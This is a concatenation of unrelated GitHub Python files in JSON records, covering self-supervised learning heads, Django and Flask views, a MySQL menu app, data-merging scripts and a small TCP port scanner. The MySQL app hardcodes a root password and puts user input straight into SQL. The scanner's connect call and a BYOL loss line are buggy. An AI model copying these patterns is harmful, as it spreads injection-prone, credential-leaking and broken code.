self.encoder_target.load_state_dict(self.encoder.state_dict())\n\n self.projection_head_target = copy.deepcopy(self.projection_head)\n self.projection_head_target.load_state_dict(self.projection_head.state_dict())\n\n def forward(self, x, with_conv_output=False, detach_embedding=None):\n if self.forward_aug:\n if self.detach_augmented:\n with torch.no_grad():\n x = self.forward_aug(x)\n else:\n x = self.forward_aug(x)\n\n z = self.encode(x)\n\n detach_embedding = (\n detach_embedding if detach_embedding is not None else self.detach_embedding\n )\n if detach_embedding:\n z = z.detach()\n\n if with_conv_output:\n raise NotImplementedError\n else:\n return z\n\n def encode(self, x):\n h = self.encoder(x)\n h = h.flatten(start_dim=1)\n z = self.projection_head(h)\n return z\n\n def _encode_target(self, x):\n h = self.encoder_target(x)\n h = h.flatten(start_dim=1)\n z = self.projection_head_target(h)\n return z\n\n def D(self, p, z):\n return -F.cosine_similarity(p, z.detach(), dim=-1).mean() # note the stop_gradient\n\n # BYOL also does, see https://github.com/lucidrains/byol-pytorch/blob/8efcc905d565b6ca33a9c7d814cb0687bc06a282/byol_pytorch/byol_pytorch.py#L40\n # and https://github.com/astooke/rlpyt/blob/b05f954e88fc774d61c6504ebe62ff71a181ad7a/rlpyt/ul/algos/ul_for_rl/augmented_temporal_similarity.py#L142\n\n def optimize(self, x, embedding_target=None):\n assert embedding_target is None\n opt_info = {}\n\n # augmentations should be different b/w views and elements in batch\n if self.detach_augmented:\n with torch.no_grad():\n x1, x2 = self.aug(x), self.aug(x)\n else:\n x1, x2 = self.aug(x), self.aug(x)\n\n if self.symmetric:\n z1, z2 = self.encode(x1), self.encode(x2)\n p1, p2 = self.prediction_head(z1), self.prediction_head(z2)\n\n if self.use_target_for_pair: # BYOL\n with torch.no_grad():\n z1_target = self._encode_target(x1)\n z2_target = self._encode_target(x2)\n\n loss = 0.5 * (self.D(p1, z2_target), self.D(p2, z1_target))\n else: # SimSiam\n loss = 0.5 * (self.D(p1, z2) + self.D(p2, z1))\n else:\n # SODA: https://github.com/nicklashansen/dmcontrol-generalization-benchmark/blob/ee658ceb449b884812149b922035197be8e28c87/src/algorithms/soda.py#L40\n # also see https://arxiv.org/pdf/2007.05929.pdf and https://arxiv.org/pdf/2007.04309.pdf\n\n if self.extra_aug:\n if self.detach_augmented:\n with torch.no_grad():\n x1 = self.extra_aug(x1)\n else:\n x1 = self.extra_aug(x1)\n\n z1 = self.encode(x1) # x1 is aug_x\n\n if self.use_target_for_pair:\n with torch.no_grad():\n z2 = self._encode_target(x2)\n else:\n z2 = self.encode(x2)\n\n p1 = self.prediction_head(z1)\n # h1 = F.normalize(p1, p=2, dim=1)\n # h2 = F.normalize(z2, p=2, dim=1)\n # loss = F.mse_loss(h1, h2.detach())\n loss = self.D(p1, z2.detach())\n\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n if self.use_target_for_pair:\n update_target_network(self.encoder, self.encoder_target, tau=self.tau)\n update_target_network(self.projection_head, self.projection_head_target, tau=self.tau)\n\n opt_info['embedding_head_loss'] = loss.item()\n\n # see section 4.1, https://arxiv.org/pdf/2011.10566.pdf#page=3\n output_std = torch.std(F.normalize(z1.detach(), dim=1), dim=1, unbiased=True)\n opt_info['output_std'] = untorchify(output_std.mean(dim=0))\n return opt_info\n\n @property\n def opt_info_keys(self):\n return ['embedding_head_loss']\n\n def state_dict(self, *args, **kwargs):\n state_dict = dict(\n model=super().state_dict(*args, **kwargs),\n optimizer=self.optimizer.state_dict(),\n )\n return state_dict\n\n def load_state_dict(self, state_dict):\n self.optimizer.load_state_dict(state_dict.pop('optimizer'))\n super().load_state_dict(state_dict['model'])\n","repo_name":"etaoxing/domain-shift-benchmark","sub_path":"dsb/embedding_heads/sim_siam.py","file_name":"sim_siam.py","file_ext":"py","file_size_in_byte":9418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"35747373094","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\n\nfrom .models import *\n\ndef redirectMain(request):\n return redirect('/shows/')\n\ndef showAdd(request):\n return render(request, \"showAdd.html\")\n\ndef showDetails(request, showid):\n context = {\n \"show\" : show.objects.get(id=showid)\n }\n return render(request, \"showDetails.html\", context)\n\ndef showEdit(request, showid):\n context = {\n \"show\" : show.objects.get(id=showid)\n }\n return render(request, \"showEdit.html\", context)\n\ndef showList(request):\n context = {\n 'shows' : show.objects.all()\n }\n return render(request, \"showList.html\", context)\n\ndef createShow(request):\n errors = show.objects.basic_validator(request.POST)\n\n if len(errors) > 0:\n for key,value in errors.items():\n messages.error(request, value)\n return redirect('/shows/new/')\n else:\n created_show = show.objects.create(title=request.POST['title'],network=request.POST['network'],\n description=request.POST['description'],release_date=request.POST['release_date'])\n\n return redirect(f'/shows/{created_show.id}')\n\ndef alterShow(request, showid):\n this_show = show.objects.get(id=showid)\n this_show.title=request.POST['title']\n this_show.network=request.POST['network']\n this_show.release_date=request.POST['release_date']\n this_show.description=request.POST['description']\n this_show.save()\n\n return redirect(f'/shows/{showid}')\n\ndef deleteShow(request, showid):\n this_show = show.objects.get(id=showid)\n this_show.delete()\n return redirect('/shows/')","repo_name":"Eddie622/PythonTVShows","sub_path":"tvshowsApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"36816405906","text":"'''\r\nCreated on Dec 6, 2015\r\n\r\n@author: Nathan Guenther\r\n'''\r\n\r\nimport re\r\n\r\n# Ask user for input file\r\nfileName = input('Please enter the name of the file containing the input zipcodes: ')\r\n\r\n# Read and save file contents\r\nfileObj = open(fileName, 'r')\r\nallLines = fileObj.readlines()\r\nfileObj.close()\r\n\r\n# Regular Expression\r\ntest = '^\\d{5}(?:[-\\s]\\d{4})?$'\r\n\r\nprint('\\n\\n')\r\n# Check each zip code\r\nfor eachLine in allLines:\r\n #Regex check\r\n if re.search(test, eachLine):\r\n print(\"Match found - valid U.S. zipcode: \", eachLine)\r\n else: \r\n print(\"Error - no match - invalid U.S. zipcode: \", eachLine)\r\n ","repo_name":"nathang21/CNT-4603","sub_path":"Project 6/Submission/Source/zipcode.py","file_name":"zipcode.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"34681116266","text":"from Conexion import MySQLConect\r\n\r\ndef main():\r\n # Crea una instancia de la clase MySQLConect\r\n db = MySQLConect(Host=\"localhost\", User=\"root\", Password=\"153258\", Database=\"db_panaderia\")\r\n\r\n # Conecta a la base de datos\r\n db.conect()\r\n\r\n while True:\r\n print(\"Opciones:\")\r\n print(\"1. Consultar datos\")\r\n print(\"2. Insertar datos\")\r\n print(\"3. Actualizar datos\")\r\n print(\"4. Eliminar datos\")\r\n print(\"5. Consultar todos los datos de una tabla\")\r\n print(\"6. Salir\")\r\n\r\n opcion = input(\"Seleccione una opción: \")\r\n\r\n if opcion == \"1\":\r\n # Consulta de datos\r\n table = input(\"Ingrese el nombre de la tabla: \")\r\n id = input(\"Ingrese el ID a consultar: \")\r\n results = db.select_data(table, id)\r\n print(results)\r\n \r\n \r\n elif opcion == \"2\":\r\n # Inserción de datos\r\n table = input(\"Ingrese el nombre de la tabla: \")\r\n values = input(\"Ingrese los valores a insertar: \")\r\n db.insert_data(table, values) #Al insertar los valores debe hacerse entre parentesis y aplicando \"\" a los valores que son string\r\n \r\n \r\n elif opcion == \"3\":\r\n # Actualización de datos\r\n table = input(\"Ingrese el nombre de la tabla: \")\r\n column = input(\"Ingrese el nombre de la columna: \")\r\n new_value = input(\"Ingrese el nuevo valor: \")\r\n condition = input(\"Ingrese la condición: \")\r\n db.update_data(table, column, new_value, condition)\r\n \r\n \r\n elif opcion == \"4\":\r\n # Eliminación de datos\r\n table = input(\"Ingrese el nombre de la tabla: \")\r\n condition = input(\"Ingrese la condición: \")\r\n db.delete_data(table, condition) #Al ingresar la condicion, debe hacerce de la siguiente manera: id = (id del producto)\r\n \r\n elif opcion == \"5\" :\r\n table = input(\"Ingrese el nombre de la tabla que quiere consultar: \") \r\n query = db.execute_query(f\"SELECT * FROM {table}\") \r\n for row in query:\r\n print(row)\r\n \r\n elif opcion == \"6\":\r\n # Salir del programa\r\n print(\"Saliendo de la base de datos!\")\r\n break\r\n else:\r\n print(\"Opción inválida. Intente nuevamente.\")\r\n\r\n # Cierra la conexión a la base de datos\r\n db.close()\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"FerSargiotto/ProgISPC","sub_path":"MAIN_APP.py","file_name":"MAIN_APP.py","file_ext":"py","file_size_in_byte":2540,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"74098292934","text":"\"\"\"\nTitle: Merge River Discharge Data of Different Storm Events\nAuthor: Javed Ali\nDate: July 20, 2023\n\nDescription:\nThis script combines data from multiple CSV files corresponding to different storm events. \nEach file contains data related to a particular storm, with the storm's name embedded in the \nfile name. The script extracts the storm name from each file name and adds it as a new column \nin the corresponding data table. All tables are then concatenated into a single dataframe, \nwhich is saved to a new CSV file, `merged_storm_data.csv`. This facilitates subsequent analysis \nby providing all data in a single, standardized format, with a clear indication of the storm \nassociated with each data point.\n\"\"\"\n\n# Import necessary libraries\nimport os\n\nimport pandas as pd\n\n\n# Function to extract storm name from filename\ndef extract_storm_name(filename):\n # Split the filename at the underscore, take the first part (the storm name),\n # then remove the file extension\n return os.path.splitext(filename)[0].split(\"_\")[0]\n\n\n# Directory where all CSV files are stored\ndirectory = \"data/CFE outputs/\"\n\n# Get a list of all CSV files in the directory that start with \"Hurricane\" or \"Tropical\"\ncsv_files = [\n os.path.join(directory, file)\n for file in os.listdir(directory)\n if file.endswith(\".csv\") and (file.startswith(\"Hurricane\") or file.startswith(\"Tropical\"))\n]\n\n\n# Empty list to store dataframes\ndfs = []\n\n# For each CSV file\nfor file in csv_files:\n # Read the file into a dataframe\n df = pd.read_csv(file)\n\n # Extract the storm name from the file name\n # os.path.basename(file) gets the filename without the directory\n storm_name = extract_storm_name(os.path.basename(file))\n\n # Add a new column to the dataframe with the storm name\n df[\"storm_name\"] = storm_name\n\n # Add the dataframe to the list of dataframes\n dfs.append(df)\n\n# Concatenate all dataframes in the list into one dataframe\n# ignore_index=True reassigns row indices in the combined dataframe\nfinal_df = pd.concat(dfs, ignore_index=True)\n\n# Save the final dataframe to a new CSV file\n# index=False prevents pandas from writing row indices\nfinal_df.to_csv(\"data/cfe_merged_storm_data.csv\", index=False)\n","repo_name":"javedali99/si2023-compound-flooding","sub_path":"notebooks-scripts/merge_all_storms_data_cfe.py","file_name":"merge_all_storms_data_cfe.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"10254014645","text":"import logging\n\nfrom flask import current_app, jsonify, Response\n\nfrom flask_logging.services import user as user_svc\n\nlogger = logging.getLogger(__name__)\n\n\n@current_app.get('/api/user/list')\ndef get_user_list() -> Response:\n logger.info('Get user list in view.')\n\n user_list = user_svc.get_user_list()\n users = []\n for user in user_list:\n users.append({\n 'id': user.id,\n 'username': user.username,\n })\n\n return jsonify(users=users)\n","repo_name":"jizhang/blog-demo","sub_path":"flask-logging/flask_logging/views/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"70057992454","text":"# Reverse a given number and return true\r\n# if it is the same as the original number.\r\n\r\na= int(input(\"Enter a number\"))\r\nsecret_no= 79\r\nif a == secret_no:\r\n stri = str(secret_no)\r\n # reversed_str= stri[::-1]\r\n reversed_str= stri[::-1]\r\n reversed_no = int(reversed_str)\r\n print('True')\r\n print(\"The Reversed NUmber is :\",reversed_no)\r\n\r\nelse:\r\n print('False')\r\n\r\n","repo_name":"Diti06/PythonAssignment","sub_path":"assignment_programs/ass_8.py","file_name":"ass_8.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"41233394344","text":"# Imports\nfrom torch.optim import optimizer\nimport os\nimport copy\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom torch.utils.data import TensorDataset, DataLoader\nfrom tqdm import tqdm\nimport numpy as np\n\n# Custom imports\nfrom libs.core.TailCalib import model as base_model # Note that we are trying to inherit the TailCalib (which in turn inherits core_base) instead of just core_base\nfrom libs.utils.utils import *\nfrom libs.utils.logger import Logger\nimport libs.utils.globals as g\nif g.wandb_log:\n import wandb\n\nclass model(base_model):\n def batch_forward(self, inputs):\n \"\"\"Batch Forward\n\n Args:\n inputs (float Tensor): batch_size x image_size\n \"\"\"\n # Calculate Features and outputs\n if self.accumulation:\n self.features = self.networks[\"feat_model\"](inputs)\n self.features = F.normalize(self.features, dim=1)\n else:\n self.features = inputs\n\n self.logits = self.networks[\"classifier\"](self.features)\n\n def train(self, retrain=False):\n \"\"\"Main training \n\n Args:\n retrain (bool, optional): Incase of retraining different dataloaders are used. Defaults to False.\n \"\"\" \n phase = \"train\"\n print_str = [\"Phase: train\"]\n print_write(print_str, self.log_file)\n\n # Inits\n best_acc = 0.0\n best_epoch = 0\n self.retrain = retrain\n self.end_epoch = self.training_opt[\"num_epochs\"]\n self.accumulation = False\n self.accumulation_step = 1\n\n # Initialize best model and other variables\n self.best_model_weights = {}\n for key, _ in self.config[\"networks\"].items():\n if self.config[\"networks\"][key][\"trainable\"]:\n self.best_model_weights[key] = copy.deepcopy(self.networks[key].state_dict())\n\n # Loop over epochs\n for epoch in range(self.start_epoch, self.end_epoch + 1):\n # global config\n g.epoch_global = epoch \n\n # \"Accumulate features -> Generate points -> Prepare a new dataloader\" cycle.\n self.accumulate(phase=\"train\")\n self.generate_points(tailcalibX=True)\n self.prepare_updated_dataset(include_generated_points = self.config[\"pg\"][\"generate\"])\n data_load = self.my_dataloader[\"train\"]\n\n # Switch to train mode\n for key, model in self.networks.items():\n if self.config[\"networks\"][key][\"trainable\"]:\n # only train the module with lr > 0\n if self.config[\"networks\"][key][\"optim_params\"][\"lr\"] == 0.0:\n model.eval()\n else:\n model.train()\n\n # Empty cuda cache\n torch.cuda.empty_cache()\n\n # Step the schedulers\n if self.model_scheduler_dict:\n for key, scheduler in self.model_scheduler_dict.items():\n scheduler.step()\n if self.criterion_optimizer_scheduler:\n self.criterion_optimizer_scheduler.step()\n\n print_write([self.training_opt[\"log_dir\"]], self.log_file)\n\n # print learning rate\n current_lr = self.show_current_lr()\n current_lr = min(current_lr * 50, 1.0)\n\n self.step = 0\n total_preds = []\n total_labels = []\n for inputs, labels, _ in data_load:\n # Break when step equal to epoch step\n if self.step == self.epoch_steps:\n break\n\n # Force shuffle option\n if self.do_shuffle:\n inputs, labels = self.shuffle_batch(inputs, labels)\n\n # Pushing to GPU\n inputs, labels = inputs, labels.cuda()\n\n with torch.set_grad_enabled(True):\n # If training, forward with loss, and no top 5 accuracy calculation\n self.batch_forward(inputs, labels, phase=\"train\")\n self.batch_loss(labels)\n self.batch_backward()\n\n # Tracking and printing predictions\n _, preds = torch.max(self.logits, 1)\n total_preds.append(torch2numpy(preds))\n total_labels.append(torch2numpy(labels))\n\n # Output minibatch training results\n if self.step % self.training_opt['display_step'] == 0:\n\n minibatch_loss_classifier = self.loss_classifier.item() if 'ClassifierLoss' in self.criterions else None\n minibatch_loss_embed = self.loss_embed.item() if 'EmbeddingLoss' in self.criterions else None\n minibatch_loss_embed_proto = self.loss_embed_proto.item() if 'EmbeddingLoss' in self.criterions else None\n minibatch_loss_embed_biasreduc = self.loss_embed_biasreduc.item() if 'EmbeddingLoss' in self.criterions else None\n minibatch_loss_total = self.loss.item()\n minibatch_acc = mic_acc_cal(preds, labels)\n\n\n print_str = ['Epoch: [%d/%d]'\n % (epoch, self.training_opt['num_epochs']),\n 'Step: [%d/%d]' \n % (self.step, self.epoch_steps),\n 'Minibatch_loss_embedding: %.3f'\n % (minibatch_loss_embed) if minibatch_loss_embed else '',\n 'Minibatch_loss_classifier: %.3f'\n % (minibatch_loss_classifier) if minibatch_loss_classifier else '',\n 'Minibatch_accuracy_micro: %.3f'\n % (minibatch_acc)]\n print_write(print_str, self.log_file)\n\n loss_info = {\n 'epoch': epoch,\n 'Step': self.step,\n 'Total': minibatch_loss_total,\n 'Embedding (Total)': minibatch_loss_embed,\n 'Proto': minibatch_loss_embed_proto,\n 'BiasReduc': minibatch_loss_embed_biasreduc,\n 'Classifier': minibatch_loss_classifier,\n }\n\n self.logger.log_loss(loss_info)\n\n # wandb logging\n wandb_log({\"Training Loss\": minibatch_loss_total})\n\n # batch-level: sampler update\n if hasattr(self.data[\"train\"].sampler, \"update_weights\"):\n if hasattr(self.data[\"train\"].sampler, \"ptype\"):\n ptype = self.data[\"train\"].sampler.ptype\n else:\n ptype = \"score\"\n ws = get_priority(ptype, self.logits.detach(), labels)\n\n inlist = [indexes.cpu().numpy(), ws]\n if self.training_opt[\"sampler\"][\"type\"] == \"ClassPrioritySampler\":\n inlist.append(labels.cpu().numpy())\n self.data[\"train\"].sampler.update_weights(*inlist)\n\n # Clear things out (optional)\n del inputs, labels, self.logits, self.features, preds \n\n # Update steps\n self.step+=1\n g.step_global += 1\n\n # epoch-level: reset sampler weight\n if hasattr(self.data[\"train\"].sampler, \"get_weights\"):\n self.logger.log_ws(epoch, self.data[\"train\"].sampler.get_weights())\n if hasattr(self.data[\"train\"].sampler, \"reset_weights\"):\n self.data[\"train\"].sampler.reset_weights(epoch)\n\n # After every epoch, validation\n rsls = {'epoch': epoch}\n rsls_train = self.eval_with_preds(total_preds, total_labels)\n rsls_eval, _ , _ , _ = self.eval(phase='val')\n rsls.update(rsls_train)\n rsls.update(rsls_eval)\n\n # Reset class weights for sampling if pri_mode is valid\n if hasattr(self.data[\"train\"].sampler, \"reset_priority\"):\n ws = get_priority(\n self.data[\"train\"].sampler.ptype,\n self.total_logits.detach(),\n self.total_labels,\n )\n self.data[\"train\"].sampler.reset_priority(\n ws, self.total_labels.cpu().numpy()\n )\n\n self.logger.log_acc(rsls)\n\n # # Under validation, the best model need to be updated\n if rsls_eval[\"val_all\"] > best_acc:\n best_epoch = epoch\n best_acc = rsls_eval[\"val_all\"]\n for key, _ in self.config[\"networks\"].items():\n if self.config[\"networks\"][key][\"trainable\"]: \n self.best_model_weights[key] = copy.deepcopy(self.networks[key].state_dict())\n\n # wandb log best epoch, train accuracy, based on best validation accuracy\n wandb_log({\"Best Val\": 100*best_acc, \"Best Epoch\": best_epoch}) \n wandb_log({\"Best train\": 100*rsls_train[\"train_all\"], \"Best Epoch\": best_epoch}) \n\n wandb_log({'B_val_all': self.eval_acc_mic_top1,\n 'B_val_many': self.many_acc_top1,\n 'B_val_median': self.median_acc_top1,\n 'B_val_low': self.low_acc_top1})\n \n wandb_log({'B_train_all': rsls_train[\"train_all\"],\n 'B_train_many': rsls_train[\"train_many\"],\n 'B_train_median': rsls_train[\"train_median\"],\n 'B_train_low': rsls_train[\"train_low\"]})\n\n print(\"===> Saving checkpoint\")\n self.save_latest(epoch)\n\n # Clear things out (optional)\n del rsls_eval\n del rsls_train\n del rsls\n\n # Resetting the model with the best weights\n self.reset_model(self.best_model_weights)\n\n # Save the best model\n self.save_model(epoch, best_epoch, self.best_model_weights, best_acc)\n\n # After training is complete, gets the classwise accuracies of all the splits and saves it based on the based model\n for i in list(self.data.keys()):\n # wandb is switched off temprorily so that the this validation loop is not logged\n g.wandb_log = False\n accs_dict , _ , _ , cls_acc = self.eval(phase=i)\n if g.log_offline:\n torch.save((accs_dict,cls_acc),g.log_dir+f\"/metrics/{i}_cls_acc.pt\")\n print(accs_dict)\n g.wandb_log = True\n\n print(\"Training Complete.\")\n print_str = [f\"Best validation accuracy is {best_acc} at epoch {best_epoch}\"]\n print_write(print_str, self.log_file)\n\n # Empty cuda cache\n torch.cuda.empty_cache()\n\n def accumulate(self, phase):\n \"\"\"Accumulates features of all the datapoints in a particular split\n\n Args:\n phase ([type]): Which split of dataset should be accumulated?\n \"\"\" \n print_str = ['Accumulating features: %s' % (phase)]\n print_write(print_str, self.log_file)\n time.sleep(0.25)\n self.accumulation = True\n\n torch.cuda.empty_cache()\n\n # In validation or testing mode, set model to eval() and initialize running loss/correct\n for model in self.networks.values():\n model.eval()\n\n # Iterate over dataset\n self.feat = {}\n self.labs = {}\n\n accum_features = []\n accum_labels = []\n\n for inputs, labels, _ in tqdm(self.data[phase]):\n inputs, labels = inputs.cuda(), labels.cuda()\n # If on training phase, enable gradients\n with torch.set_grad_enabled(False):\n\n # In validation or testing\n self.batch_forward(inputs, labels, phase=phase)\n accum_features.append(self.features)\n accum_labels.append(labels)\n\n accum_features = torch.vstack(accum_features)\n accum_labels = torch.hstack(accum_labels)\n\n for i in accum_labels.unique().cpu().numpy():\n self.feat[i] = accum_features[accum_labels == i]\n self.labs[i] = torch.full((self.feat[i].size()[0],), i).cuda()\n\n self.accumulation = False\n\n# This is there so that we can use source_import from the utils to import model\ndef get_core(*args):\n return model(*args)\n","repo_name":"rahulvigneswaran/TailCalibX","sub_path":"libs/core/TailCalibX.py","file_name":"TailCalibX.py","file_ext":"py","file_size_in_byte":12556,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"44"} +{"seq_id":"40775058695","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author : Rock Wayne \n# @Created : 2020-05-31 08:00:00\n# @Last Modified : 2020-05-31 08:00:00\n# @Mail : lostlorder@gmail.com\n# @Version : alpha-1.0\n\"\"\"\n# 给定两个大小相等的数组 A 和 B，A 相对于 B 的优势可以用满足 A[i] > B[i] 的索引 i 的数目来描述。 \n# \n# 返回 A 的任意排列，使其相对于 B 的优势最大化。 \n# \n# \n# \n# 示例 1： \n# \n# 输入：A = [2,7,11,15], B = [1,10,4,11]\n# 输出：[2,11,7,15]\n# \n# \n# 示例 2： \n# \n# 输入：A = [12,24,8,32], B = [13,25,32,11]\n# 输出：[24,32,8,12]\n# \n# \n# \n# \n# 提示： \n# \n# \n# 1 <= A.length = B.length <= 10000 \n# 0 <= A[i] <= 10^9 \n# 0 <= B[i] <= 10^9 \n# \n# Related Topics 贪心算法 数组\n\n\"\"\"\n\nimport pytest\nimport math, fractions, operator\nfrom typing import List\nimport collections, bisect, heapq\nimport functools, itertools\n\n\n\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution:\n def advantageCount(self, A: List[int], B: List[int]) -> List[int]:\n sortedA=sorted(A)\n sortedB=sorted(B)\n assigned = collections.defaultdict(list)\n remaining = []\n j=0\n for a in sortedA:\n if a>sortedB[j]:\n assigned[sortedB[j]].append(a)\n j+=1\n else:\n remaining.append(a)\n # print(assigned,remaining)\n return [assigned[b].pop() if assigned[b] else remaining.pop() for b in B]\n\n# leetcode submit region end(Prohibit modification and deletion)\n\n\n@pytest.mark.parametrize(\"kwargs,expected\", [\n (dict(A = [2,7,11,15], B = [1,10,4,11]), [2,11,7,15]),\n (dict(A = [2,0,4,1,2] , B = [1,3,0,0,2]), [2,0,2,1,4]),\n pytest.param(dict( A = [12,24,8,32], B = [13,25,32,11] ), [24,32,8,12]),\n])\ndef test_solutions(kwargs, expected):\n assert Solution().advantageCount(**kwargs) == expected\n\n\n\n\n\n\nif __name__ == '__main__':\n pytest.main([\"-q\", \"--color=yes\",\"--capture=no\", __file__])\n\n","repo_name":"Wang-Yann/LeetCodeMe","sub_path":"python/_0501_1000/0870_advantage-shuffle.py","file_name":"0870_advantage-shuffle.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"9948312370","text":"\nimport socket\n\n\ntcpList = []\nsk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ndef scan_now(target, ports):\n landin_ip = socket.gethostbyname(target)\n\n def scanner(ports):\n try:\n sk.connect(landin_ip, ports)\n return True\n except:\n return False\n \n for items in ports:\n if scanner(items):\n tcpList.append([items, \"open\"])\n else:\n tcpList.append([items, \"closed\"]) \n\n \n flat_list = [item for sublist in tcpList for item in sublist]\n\n return flat_list\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# import nmap\n# import json\n\n# def scan_now(target):\n# #print(dir(nmap))\n# nScan = nmap.PortScanner()\n \n\n# nScan.scan(target, '23,445,3389')\n# #nScan.scan(target, '22,25,80,111,443,3389')\n# tcpList = []\n# for host in nScan.all_hosts():\n# print('Host : %s (%s)' % (host, nScan[host].hostname()))\n# print('State : %s' % nScan[host].state())\n# s1 = nScan[host].state()\n \n# for proto in nScan[host].all_protocols():\n# print('----------')\n# print('Protocol : %s' % proto)\n# lport = nScan[host][proto].keys()\n# #lport.sort()\n# for port in lport:\n# p1 = port\n# s1 = nScan[host][proto][port]['state']\n# tcpList.append([p1, s1])\n# print ('port : %s\\tstate : %s' % (port, nScan[host][proto][port]['state']))\n \n# final_list = [target,[tcpList]]\n# return final_list\n #print(final_list)\n \n\n ## To export the data in Json\n # json_string = json.dumps(final_list) \n # print(json_string)\n # with open(\"sample.json\", \"a\") as outfile:\n # json.dump(json_string, outfile, indent=4)\n # print(\"-- done ---\")","repo_name":"SidLabs-Online/Nmap_Port_Scanner","sub_path":"_scanner.py","file_name":"_scanner.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"35785762284","text":"\"\"\"TiTiler extension.\"\"\"\n\nfrom typing import Optional\nfrom urllib.parse import urlencode\n\nimport attr\nfrom fastapi import APIRouter, FastAPI, HTTPException, Path, Query\nfrom fastapi.responses import RedirectResponse\nfrom stac_fastapi.types.extension import ApiExtension\nfrom starlette.requests import Request\n\nrouter = APIRouter()\n\n\n@attr.s\nclass TiTilerExtension(ApiExtension):\n \"\"\"TiTiler extension.\"\"\"\n\n def register(self, app: FastAPI, titiler_endpoint: str) -> None:\n \"\"\"Register the extension with a FastAPI application.\n Args:\n app: target FastAPI application.\n Returns:\n None\n\n \"\"\"\n router = APIRouter()\n\n @router.get(\n \"/collections/{collectionId}/items/{itemId}/tilejson.json\",\n )\n async def tilejson(\n request: Request,\n collectionId: str = Path(..., description=\"Collection ID\"),\n itemId: str = Path(..., description=\"Item ID\"),\n tile_format: Optional[str] = Query(\n None, description=\"Output image type. Default is auto.\"\n ),\n tile_scale: int = Query(\n 1, gt=0, lt=4, description=\"Tile size scale. 1=256x256, 2=512x512...\"\n ),\n minzoom: Optional[int] = Query(\n None, description=\"Overwrite default minzoom.\"\n ),\n maxzoom: Optional[int] = Query(\n None, description=\"Overwrite default maxzoom.\"\n ),\n assets: Optional[str] = Query( # noqa\n None,\n description=\"comma (',') delimited asset names.\",\n ),\n expression: Optional[str] = Query( # noqa\n None,\n description=\"rio-tiler's band math expression between assets (e.g asset1/asset2)\",\n ),\n bidx: Optional[str] = Query( # noqa\n None,\n description=\"comma (',') delimited band indexes to apply to each asset\",\n ),\n ):\n \"\"\"Get items and redirect to stac tiler.\"\"\"\n if not assets and not expression:\n raise HTTPException(\n status_code=500,\n detail=\"assets must be defined either via expression or assets options.\",\n )\n\n qs_key_to_remove = [\n \"tile_format\",\n \"tile_scale\",\n \"minzoom\",\n \"maxzoom\",\n ]\n qs = [\n (key, value)\n for (key, value) in request.query_params._list\n if key.lower() not in qs_key_to_remove\n ]\n return RedirectResponse(\n f\"{titiler_endpoint}/collections/{collectionId}/items/{itemId}/tilejson.json?{urlencode(qs)}\"\n )\n\n @router.get(\n \"/collections/{collectionId}/items/{itemId}/viewer\",\n responses={\n 200: {\n \"description\": \"Redirect to TiTiler STAC viewer.\",\n \"content\": {\"text/html\": {}},\n }\n },\n )\n async def stac_viewer(\n request: Request,\n collectionId: str = Path(..., description=\"Collection ID\"),\n itemId: str = Path(..., description=\"Item ID\"),\n ):\n \"\"\"Get items and redirect to stac tiler.\"\"\"\n qs = [(key, value) for (key, value) in request.query_params._list]\n url = f\"{titiler_endpoint}/collections/{collectionId}/items/{itemId}/viewer\"\n if qs:\n url += f\"?{urlencode(qs)}\"\n\n return RedirectResponse(url)\n\n app.include_router(router, tags=[\"TiTiler Extension\"])\n","repo_name":"developmentseed/eoAPI","sub_path":"runtime/eoapi/stac/eoapi/stac/extension.py","file_name":"extension.py","file_ext":"py","file_size_in_byte":3703,"program_lang":"python","lang":"en","doc_type":"code","stars":151,"dataset":"github-code","pt":"44"} +{"seq_id":"70041971013","text":"import scipy.stats as st\nimport matplotlib.pyplot as plt\n\ndef getnoticep2(Summaryfilepath,outputresultfile,figname):\n\n AllCorrelationlist = []\n with open(Summaryfilepath,\"r\") as PathwayRoutefile:\n\n pathwaylists={}\n title = True\n for line in PathwayRoutefile.readlines():\n if title:\n title=False\n else:\n linedata = line.replace(\"\\\"\",\"\").strip().split(\"\\t\")\n pinformation = linedata[0].strip().split(\"]\")[1].split(\"~\")\n pathwayname = pinformation[0]\n routepart = pinformation[1]\n source = pinformation[2]\n target = pinformation[3]\n\n if not pathwayname in pathwaylists.keys():\n pathwaylists[pathwayname]={\n \"p1\":[],\n \"p2\":[]\n }\n valueintem = {\n 'source':source,\n 'target':target,\n 'valuelist':[],\n }\n for i in range(2,len(linedata)):\n valueintem['valuelist'].append(float(linedata[i]))\n\n pathwaylists[pathwayname][routepart].append(valueintem)\n \n with open(outputresultfile,\"w\") as outputfile:\n for pathwayname,routes in pathwaylists.items():\n for p2route in routes[\"p2\"]:\n title =pathwayname+\"\\tp2Source: \"+p2route[\"source\"]+\",p2Target: 